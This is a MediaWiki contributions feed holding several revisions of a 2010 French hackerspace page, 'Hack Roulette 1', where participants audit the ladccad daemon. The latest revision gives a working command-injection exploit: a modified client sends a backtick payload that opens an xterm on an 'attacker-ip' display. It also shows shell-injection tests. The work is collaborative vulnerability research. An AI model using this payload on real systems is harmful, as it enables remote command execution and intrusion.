<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.tmplab.org/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=StalkR</id>
	<title>tmplab - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.tmplab.org/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=StalkR"/>
	<link rel="alternate" type="text/html" href="https://www.tmplab.org/wiki/index.php/Special:Contributions/StalkR"/>
	<updated>2026-10-07T02:51:47Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.9</generator>
	<entry>
		<id>https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2470</id>
		<title>Hack Roulette 1</title>
		<link rel="alternate" type="text/html" href="https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2470"/>
		<updated>2010-03-05T09:32:12Z</updated>

		<summary type="html">&lt;p&gt;StalkR: /* StalkR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Info =&lt;br /&gt;
* Quand? Jeudi 4 Mars de 20h a plus d&#039;heure...&lt;br /&gt;
* Ou? /tmp/lab&lt;br /&gt;
* Quoi? Hack Roulette... on tire au hasard un logiciel... et on le défonce ;-) sortez vos fuzzer et vos debugger et hop.&lt;br /&gt;
* Pourquoi? Ca c&#039;est la question que tout le monde se pose, eh, ah, si on avait la réponse, eh...&lt;br /&gt;
Pour apprendre a trouver des vulnerabilités dans un logiciel, pour apprendre a fuzzer, pour s&#039;amuser, pour montrer a quel point la loi DADSI avec son interdiction de publier des failles est DEBILE car c&#039;est le SEUL moyen de savoir si son logiciel est vulnérable, enfin pour s&#039;améliorer dans une pratique de base de la sécurité informatique.&lt;br /&gt;
&lt;br /&gt;
= Participants =&lt;br /&gt;
* Phil&lt;br /&gt;
Si vous etes parano, as la peine de vous inscrire... venez juste :)&lt;br /&gt;
&lt;br /&gt;
= Script =&lt;br /&gt;
&lt;br /&gt;
Code analyzers:&lt;br /&gt;
* http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html&lt;br /&gt;
&lt;br /&gt;
Fuzzers:&lt;br /&gt;
* spike&lt;br /&gt;
* peach&lt;br /&gt;
* sulley&lt;br /&gt;
* Laurent Gaffié 10 lines of python&lt;br /&gt;
&lt;br /&gt;
= Premiere roulette: ladccad =&lt;br /&gt;
ladccad&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
=== Phil ===&lt;br /&gt;
INSTALL&lt;br /&gt;
 apt-get install ladccad&lt;br /&gt;
 apt-get install jackd&lt;br /&gt;
&lt;br /&gt;
RUN&lt;br /&gt;
 jackd -d alsa&lt;br /&gt;
&lt;br /&gt;
VULNS?&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ladccad/project.c:  err = system (cmd);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et la sanitization de ce truc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
char *&lt;br /&gt;
escape_file_name (const char * fn)&lt;br /&gt;
{&lt;br /&gt;
  char * escfn;&lt;br /&gt;
  size_t escfn_size;&lt;br /&gt;
  size_t fn_size;&lt;br /&gt;
  ptrdiff_t * escchars = NULL;&lt;br /&gt;
  size_t escchars_size = 0;&lt;br /&gt;
  const char * ptr;&lt;br /&gt;
  unsigned int i, j;&lt;br /&gt;
&lt;br /&gt;
  ptr = fn - 1;&lt;br /&gt;
&lt;br /&gt;
  while ( (ptr = strpbrk (ptr + 1, &amp;quot; |&amp;amp;;()&amp;lt;&amp;gt;&amp;quot;)) )&lt;br /&gt;
    {&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu&#039;on aura passé avant l&#039;exec du daemon?&lt;br /&gt;
ou utiliser opportunément une var existante avec les caractères que l&#039;on recherche &amp;quot;;XXXXX&amp;quot; par exemple.&lt;br /&gt;
&lt;br /&gt;
RUNNING:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
strace ladccad -d /tmp&lt;br /&gt;
...&lt;br /&gt;
futex(0xb7d0ead0, 0x81 /* FUTEX_??? */, 2147483647) = 0&lt;br /&gt;
socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 11&lt;br /&gt;
connect(11, {sa_family=AF_INET6, sin6_port=htons(14541), inet_pton(AF_INET6, &amp;quot;::&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(47455), inet_pton(AF_INET6, &amp;quot;::1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
connect(11, {sa_family=AF_UNSPEC, sa_data=&amp;quot;\0\0\0\0\0\0\0\0\0\0\0\0\0\0&amp;quot;}, 16) = 0&lt;br /&gt;
connect(11, {sa_family=AF_INET, sin_port=htons(14541), sin_addr=inet_addr(&amp;quot;0.0.0.0&amp;quot;)}, 16) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(43007), inet_pton(AF_INET6, &amp;quot;::ffff:127.0.0.1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@bt:/tmp# nc -vvv  -u 0 14541&lt;br /&gt;
0: inverse host lookup failed: Unknown server error : Connection timed out&lt;br /&gt;
(UNKNOWN) [0.0.0.0] 14541 (?) open&lt;br /&gt;
&lt;br /&gt;
 sent 1, rcvd 0&lt;br /&gt;
root@bt:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
RUNNING SERVER LIVE:&lt;br /&gt;
* Host: 10.0.0.235&lt;br /&gt;
* Port: 14541&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcp6       0      0 :::14541                :::*                    LISTEN      6653/ladccad&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# netstat -anp | more&lt;br /&gt;
Active Internet connections (servers and established)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6505/sshd       &lt;br /&gt;
tcp        0      0 10.211.55.14:22         10.211.55.3:57154       ESTABLISHED 6514/0          &lt;br /&gt;
tcp6       0      0 :::14541                :::*                    LISTEN      6653/ladccad    &lt;br /&gt;
tcp6       0      0 :::22                   :::*                    LISTEN      6505/sshd       &lt;br /&gt;
udp        0      0 0.0.0.0:68              0.0.0.0:*                           6648/dhclient&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== StalkR ===&lt;br /&gt;
&lt;br /&gt;
Par rapport au system(), oublie aussi les backquotes `` et ça c&#039;est bon.&lt;br /&gt;
&lt;br /&gt;
Par contre l&#039;exploitation via $ on ne peut pas lui faire exécuter une autre commande par &amp;quot;; cmd&amp;quot; ou &amp;quot;$()&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 $ cat &amp;lt;&amp;lt; EOF &amp;gt; test.c&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 int main() {&lt;br /&gt;
        system(&amp;quot;echo $TEST&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
 }&lt;br /&gt;
 EOF&lt;br /&gt;
 $ gcc -Wall -o test test.c&lt;br /&gt;
 $ TEST=&amp;quot;test \$(id); id &amp;quot; ./test&lt;br /&gt;
 test $(id); id&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Remontons un peu les fonctions qui donnent les input de system(), on voit que pour déclencher la faille qu&#039;il faut générer un event&lt;br /&gt;
&amp;quot;CCA_Project_Dir&amp;quot; avec un event-&amp;gt;string qui sera la chaîne avec backquotes passée au system.&lt;br /&gt;
&lt;br /&gt;
Piotr vient d&#039;indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.&lt;br /&gt;
&lt;br /&gt;
=== sbz ===&lt;br /&gt;
&lt;br /&gt;
package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c&lt;br /&gt;
&lt;br /&gt;
paquet debian partage avec &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ python -mSimpleHTTPServer&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
commandes utilisées:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ apt-get source ladccad&lt;br /&gt;
$ cd ladcca-0.4.0&lt;br /&gt;
$ dpkg-source -x ladcca_0.4.0-6.dsc&lt;br /&gt;
$ cd ladcca-0.4.0&lt;br /&gt;
$ vim debian/rules, decommenter dh_strip et ajouter --enable-debug à la rule configure&lt;br /&gt;
$ sudo aptitude install libjack0.100.0-dev libreadline5-dev uuid-dev&lt;br /&gt;
$ dpkg-buildpackage -tc&lt;br /&gt;
$ sudo dpkg -i ../*.deb&lt;br /&gt;
$ file /usr/bin/ladccad&lt;br /&gt;
/usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Piotr &amp;amp; Florent ===&lt;br /&gt;
&lt;br /&gt;
On peut exploiter le coup du &amp;quot;system()&amp;quot; en editant le client fourni en exemple. L&#039;évenement pour déclancher le &amp;quot;mv&amp;quot; est CCA_Project_Dir. On va lancer un xterm&lt;br /&gt;
&lt;br /&gt;
Modifiez le fichier &amp;quot;clients/simple_clients.c&amp;quot;, en ajoutant en ligne 108:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  printf (&amp;quot;hacking...\n&amp;quot;);&lt;br /&gt;
  event = cca_event_new_with_type (CCA_Project_Dir);&lt;br /&gt;
  strcpy(client_name, &amp;quot;toto`xterm`\0&amp;quot;);&lt;br /&gt;
  CCA_DEBUGARGS (&amp;quot;alsa client id: %d&amp;quot;, snd_seq_client_id (aseq));&lt;br /&gt;
  cca_event_set_string (event, client_name);&lt;br /&gt;
  cca_send_event (client, event);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
plus loin... (Phil, Piotr, Florent):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  printf (&amp;quot;hacking...\n&amp;quot;);&lt;br /&gt;
  event = cca_event_new_with_type (CCA_Project_Dir);&lt;br /&gt;
  strcpy(client_name, &amp;quot;toto`xterm$IFS-display${IFS}attacker-ip:0`\0&amp;quot;);&lt;br /&gt;
  CCA_DEBUGARGS (&amp;quot;alsa client id: %d&amp;quot;, snd_seq_client_id (aseq));&lt;br /&gt;
  cca_event_set_string (event, client_name);&lt;br /&gt;
  cca_send_event (client, event);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Octal attacks should work too ;-)&lt;/div&gt;</summary>
		<author><name>StalkR</name></author>
	</entry>
	<entry>
		<id>https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2462</id>
		<title>Hack Roulette 1</title>
		<link rel="alternate" type="text/html" href="https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2462"/>
		<updated>2010-03-04T21:56:29Z</updated>

		<summary type="html">&lt;p&gt;StalkR: /* StalkR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Info =&lt;br /&gt;
* Quand? Jeudi 4 Mars de 20h a plus d&#039;heure...&lt;br /&gt;
* Ou? /tmp/lab&lt;br /&gt;
* Quoi? Hack Roulette... on tire au hasard un logiciel... et on le défonce ;-) sortez vos fuzzer et vos debugger et hop.&lt;br /&gt;
* Pourquoi? Ca c&#039;est la question que tout le monde se pose, eh, ah, si on avait la réponse, eh...&lt;br /&gt;
Pour apprendre a trouver des vulnerabilités dans un logiciel, pour apprendre a fuzzer, pour s&#039;amuser, pour montrer a quel point la loi DADSI avec son interdiction de publier des failles est DEBILE car c&#039;est le SEUL moyen de savoir si son logiciel est vulnérable, enfin pour s&#039;améliorer dans une pratique de base de la sécurité informatique.&lt;br /&gt;
&lt;br /&gt;
= Participants =&lt;br /&gt;
* Phil&lt;br /&gt;
Si vous etes parano, as la peine de vous inscrire... venez juste :)&lt;br /&gt;
&lt;br /&gt;
= Script =&lt;br /&gt;
&lt;br /&gt;
Code analyzers:&lt;br /&gt;
* http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html&lt;br /&gt;
&lt;br /&gt;
Fuzzers:&lt;br /&gt;
* spike&lt;br /&gt;
* peach&lt;br /&gt;
* sulley&lt;br /&gt;
* Laurent Gaffié 10 lines of python&lt;br /&gt;
&lt;br /&gt;
= Premiere roulette: ladccad =&lt;br /&gt;
ladccad&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
=== Phil ===&lt;br /&gt;
INSTALL&lt;br /&gt;
 apt-get install ladccad&lt;br /&gt;
 apt-get install jackd&lt;br /&gt;
&lt;br /&gt;
RUN&lt;br /&gt;
 jackd -d alsa&lt;br /&gt;
&lt;br /&gt;
VULNS?&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ladccad/project.c:  err = system (cmd);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et la sanitization de ce truc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
char *&lt;br /&gt;
escape_file_name (const char * fn)&lt;br /&gt;
{&lt;br /&gt;
  char * escfn;&lt;br /&gt;
  size_t escfn_size;&lt;br /&gt;
  size_t fn_size;&lt;br /&gt;
  ptrdiff_t * escchars = NULL;&lt;br /&gt;
  size_t escchars_size = 0;&lt;br /&gt;
  const char * ptr;&lt;br /&gt;
  unsigned int i, j;&lt;br /&gt;
&lt;br /&gt;
  ptr = fn - 1;&lt;br /&gt;
&lt;br /&gt;
  while ( (ptr = strpbrk (ptr + 1, &amp;quot; |&amp;amp;;()&amp;lt;&amp;gt;&amp;quot;)) )&lt;br /&gt;
    {&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu&#039;on aura passé avant l&#039;exec du daemon?&lt;br /&gt;
ou utiliser opportunément une var existante avec les caractères que l&#039;on recherche &amp;quot;;XXXXX&amp;quot; par exemple.&lt;br /&gt;
&lt;br /&gt;
RUNNING:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
strace ladccad -d /tmp&lt;br /&gt;
...&lt;br /&gt;
futex(0xb7d0ead0, 0x81 /* FUTEX_??? */, 2147483647) = 0&lt;br /&gt;
socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 11&lt;br /&gt;
connect(11, {sa_family=AF_INET6, sin6_port=htons(14541), inet_pton(AF_INET6, &amp;quot;::&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(47455), inet_pton(AF_INET6, &amp;quot;::1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
connect(11, {sa_family=AF_UNSPEC, sa_data=&amp;quot;\0\0\0\0\0\0\0\0\0\0\0\0\0\0&amp;quot;}, 16) = 0&lt;br /&gt;
connect(11, {sa_family=AF_INET, sin_port=htons(14541), sin_addr=inet_addr(&amp;quot;0.0.0.0&amp;quot;)}, 16) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(43007), inet_pton(AF_INET6, &amp;quot;::ffff:127.0.0.1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@bt:/tmp# nc -vvv  -u 0 14541&lt;br /&gt;
0: inverse host lookup failed: Unknown server error : Connection timed out&lt;br /&gt;
(UNKNOWN) [0.0.0.0] 14541 (?) open&lt;br /&gt;
&lt;br /&gt;
 sent 1, rcvd 0&lt;br /&gt;
root@bt:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
RUNNING SERVER LIVE:&lt;br /&gt;
* Host: 10.0.0.235&lt;br /&gt;
* Port: 14541&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcp6       0      0 :::14541                :::*                    LISTEN      6653/ladccad&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# netstat -anp | more&lt;br /&gt;
Active Internet connections (servers and established)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6505/sshd       &lt;br /&gt;
tcp        0      0 10.211.55.14:22         10.211.55.3:57154       ESTABLISHED 6514/0          &lt;br /&gt;
tcp6       0      0 :::14541                :::*                    LISTEN      6653/ladccad    &lt;br /&gt;
tcp6       0      0 :::22                   :::*                    LISTEN      6505/sshd       &lt;br /&gt;
udp        0      0 0.0.0.0:68              0.0.0.0:*                           6648/dhclient&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== StalkR ===&lt;br /&gt;
&lt;br /&gt;
Par rapport au system(), oublie aussi les backquotes `` et ça c&#039;est bon.&lt;br /&gt;
&lt;br /&gt;
Par contre l&#039;exploitation via $ on ne peut pas lui faire exécuter une autre commande par &amp;quot;; cmd&amp;quot; ou &amp;quot;$()&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 $ cat &amp;lt;&amp;lt; EOF &amp;gt; test.c&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 int main() {&lt;br /&gt;
        system(&amp;quot;echo $TEST&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
 }&lt;br /&gt;
 EOF&lt;br /&gt;
 $ gcc -Wall -o test test.c&lt;br /&gt;
 $ TEST=&amp;quot;test \$(id); id &amp;quot; ./test&lt;br /&gt;
 test $(id); id&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Remontons un peu les fonctions qui donnent les input de system(), on voit que pour déclencher la faille qu&#039;il faut générer un event&lt;br /&gt;
&amp;quot;CCA_Project_Dir&amp;quot; avec un event-&amp;gt;string qui sera la chaîne avec backquotes passée au system.&lt;br /&gt;
&lt;br /&gt;
Pieuvre vient d&#039;indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.&lt;br /&gt;
&lt;br /&gt;
=== sbz ===&lt;br /&gt;
&lt;br /&gt;
package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c&lt;br /&gt;
&lt;br /&gt;
paquet debian partage avec python -mSimpleHTTPServer&lt;/div&gt;</summary>
		<author><name>StalkR</name></author>
	</entry>
	<entry>
		<id>https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2459</id>
		<title>Hack Roulette 1</title>
		<link rel="alternate" type="text/html" href="https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2459"/>
		<updated>2010-03-04T21:44:01Z</updated>

		<summary type="html">&lt;p&gt;StalkR: /* StalkR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Info =&lt;br /&gt;
* Quand? Jeudi 4 Mars de 20h a plus d&#039;heure...&lt;br /&gt;
* Ou? /tmp/lab&lt;br /&gt;
* Quoi? Hack Roulette... on tire au hasard un logiciel... et on le défonce ;-) sortez vos fuzzer et vos debugger et hop.&lt;br /&gt;
* Pourquoi? Ca c&#039;est la question que tout le monde se pose, eh, ah, si on avait la réponse, eh...&lt;br /&gt;
Pour apprendre a trouver des vulnerabilités dans un logiciel, pour apprendre a fuzzer, pour s&#039;amuser, pour montrer a quel point la loi DADSI avec son interdiction de publier des failles est DEBILE car c&#039;est le SEUL moyen de savoir si son logiciel est vulnérable, enfin pour s&#039;améliorer dans une pratique de base de la sécurité informatique.&lt;br /&gt;
&lt;br /&gt;
= Participants =&lt;br /&gt;
* Phil&lt;br /&gt;
Si vous etes parano, as la peine de vous inscrire... venez juste :)&lt;br /&gt;
&lt;br /&gt;
= Script =&lt;br /&gt;
&lt;br /&gt;
Code analyzers:&lt;br /&gt;
* http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html&lt;br /&gt;
&lt;br /&gt;
Fuzzers:&lt;br /&gt;
* spike&lt;br /&gt;
* peach&lt;br /&gt;
* sulley&lt;br /&gt;
* Laurent Gaffié 10 lines of python&lt;br /&gt;
&lt;br /&gt;
= Premiere roulette: ladccad =&lt;br /&gt;
ladccad&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
=== Phil ===&lt;br /&gt;
INSTALL&lt;br /&gt;
 apt-get install ladccad&lt;br /&gt;
 apt-get install jackd&lt;br /&gt;
&lt;br /&gt;
RUN&lt;br /&gt;
 jackd -d alsa&lt;br /&gt;
&lt;br /&gt;
VULNS?&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ladccad/project.c:  err = system (cmd);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et la sanitization de ce truc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
char *&lt;br /&gt;
escape_file_name (const char * fn)&lt;br /&gt;
{&lt;br /&gt;
  char * escfn;&lt;br /&gt;
  size_t escfn_size;&lt;br /&gt;
  size_t fn_size;&lt;br /&gt;
  ptrdiff_t * escchars = NULL;&lt;br /&gt;
  size_t escchars_size = 0;&lt;br /&gt;
  const char * ptr;&lt;br /&gt;
  unsigned int i, j;&lt;br /&gt;
&lt;br /&gt;
  ptr = fn - 1;&lt;br /&gt;
&lt;br /&gt;
  while ( (ptr = strpbrk (ptr + 1, &amp;quot; |&amp;amp;;()&amp;lt;&amp;gt;&amp;quot;)) )&lt;br /&gt;
    {&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu&#039;on aura passé avant l&#039;exec du daemon?&lt;br /&gt;
ou utiliser opportunément une var existante avec les caractères que l&#039;on recherche &amp;quot;;XXXXX&amp;quot; par exemple.&lt;br /&gt;
&lt;br /&gt;
RUNNING:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
strace ladccad -d /tmp&lt;br /&gt;
...&lt;br /&gt;
futex(0xb7d0ead0, 0x81 /* FUTEX_??? */, 2147483647) = 0&lt;br /&gt;
socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 11&lt;br /&gt;
connect(11, {sa_family=AF_INET6, sin6_port=htons(14541), inet_pton(AF_INET6, &amp;quot;::&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(47455), inet_pton(AF_INET6, &amp;quot;::1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
connect(11, {sa_family=AF_UNSPEC, sa_data=&amp;quot;\0\0\0\0\0\0\0\0\0\0\0\0\0\0&amp;quot;}, 16) = 0&lt;br /&gt;
connect(11, {sa_family=AF_INET, sin_port=htons(14541), sin_addr=inet_addr(&amp;quot;0.0.0.0&amp;quot;)}, 16) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(43007), inet_pton(AF_INET6, &amp;quot;::ffff:127.0.0.1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@bt:/tmp# nc -vvv  -u 0 14541&lt;br /&gt;
0: inverse host lookup failed: Unknown server error : Connection timed out&lt;br /&gt;
(UNKNOWN) [0.0.0.0] 14541 (?) open&lt;br /&gt;
&lt;br /&gt;
 sent 1, rcvd 0&lt;br /&gt;
root@bt:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
RUNNING SERVER LIVE:&lt;br /&gt;
* Host: 10.0.0.235&lt;br /&gt;
* Port: 14541&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcp6       0      0 :::14541                :::*                    LISTEN      6653/ladccad&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# netstat -anp | more&lt;br /&gt;
Active Internet connections (servers and established)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6505/sshd       &lt;br /&gt;
tcp        0      0 10.211.55.14:22         10.211.55.3:57154       ESTABLISHED 6514/0          &lt;br /&gt;
tcp6       0      0 :::14541                :::*                    LISTEN      6653/ladccad    &lt;br /&gt;
tcp6       0      0 :::22                   :::*                    LISTEN      6505/sshd       &lt;br /&gt;
udp        0      0 0.0.0.0:68              0.0.0.0:*                           6648/dhclient&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== StalkR ===&lt;br /&gt;
&lt;br /&gt;
Par rapport au system(), oublie aussi les backquotes `` et ça c&#039;est bon.&lt;br /&gt;
&lt;br /&gt;
Par contre l&#039;exploitation via $ on ne peut pas lui faire exécuter une autre commande par &amp;quot;; cmd&amp;quot; ou &amp;quot;$()&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 $ cat &amp;lt;&amp;lt; EOF &amp;gt; test.c&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 int main() {&lt;br /&gt;
        system(&amp;quot;echo $TEST&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
 }&lt;br /&gt;
 EOF&lt;br /&gt;
 $ gcc -Wall -o test test.c&lt;br /&gt;
 $ TEST=&amp;quot;test \$(id); id &amp;quot; ./test&lt;br /&gt;
 test $(id); id&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Remontons un peu les fonctions qui donnent les input de system(), on voit que pour déclencher la faille qu&#039;il faut générer un event&lt;br /&gt;
&amp;quot;CCA_Project_Dir&amp;quot; avec un event-&amp;gt;string qui sera la chaîne avec backquotes passée au system.&lt;/div&gt;</summary>
		<author><name>StalkR</name></author>
	</entry>
	<entry>
		<id>https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2453</id>
		<title>Hack Roulette 1</title>
		<link rel="alternate" type="text/html" href="https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2453"/>
		<updated>2010-03-04T21:25:28Z</updated>

		<summary type="html">&lt;p&gt;StalkR: /* StalkR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Info =&lt;br /&gt;
* Quand? Jeudi 4 Mars de 20h a plus d&#039;heure...&lt;br /&gt;
* Ou? /tmp/lab&lt;br /&gt;
* Quoi? Hack Roulette... on tire au hasard un logiciel... et on le défonce ;-) sortez vos fuzzer et vos debugger et hop.&lt;br /&gt;
* Pourquoi? Ca c&#039;est la question que tout le monde se pose, eh, ah, si on avait la réponse, eh...&lt;br /&gt;
Pour apprendre a trouver des vulnerabilités dans un logiciel, pour apprendre a fuzzer, pour s&#039;amuser, pour montrer a quel point la loi DADSI avec son interdiction de publier des failles est DEBILE car c&#039;est le SEUL moyen de savoir si son logiciel est vulnérable, enfin pour s&#039;améliorer dans une pratique de base de la sécurité informatique.&lt;br /&gt;
&lt;br /&gt;
= Participants =&lt;br /&gt;
* Phil&lt;br /&gt;
Si vous etes parano, as la peine de vous inscrire... venez juste :)&lt;br /&gt;
&lt;br /&gt;
= Script =&lt;br /&gt;
&lt;br /&gt;
Code analyzers:&lt;br /&gt;
* http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html&lt;br /&gt;
&lt;br /&gt;
Fuzzers:&lt;br /&gt;
* spike&lt;br /&gt;
* peach&lt;br /&gt;
* sulley&lt;br /&gt;
* Laurent Gaffié 10 lines of python&lt;br /&gt;
&lt;br /&gt;
